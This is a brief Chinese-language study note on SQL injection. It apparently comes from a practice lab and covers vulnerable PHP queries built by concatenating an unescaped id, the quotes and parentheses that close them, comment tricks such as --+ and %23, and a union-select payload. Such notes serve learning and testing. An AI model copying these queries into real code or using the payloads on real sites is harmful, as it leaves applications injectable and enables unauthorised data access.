SQL中接收参数
单引号包括
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"
加上1’ 报错
可以用 1‘ -++ 或者 #(%23) 注释
这里单引号和#只是用来注释 报错的话需要 id=-1
整数型
$sql="SELECT *FROM users WHERE id=$id LIMIT 0,1";
加上1‘ 报错为
使用’报错会出现错误 用 id=-1 或者 id=1-2类型
括号包含
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
加上’ 报错为
这里需要用到–+ 注释掉后面的内容 -1‘) 中的)是用来闭合
id=-1') union select 1,2,3 --+
括号包含2
$id='"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"
加上’ 报错没有反应 加上” 就可以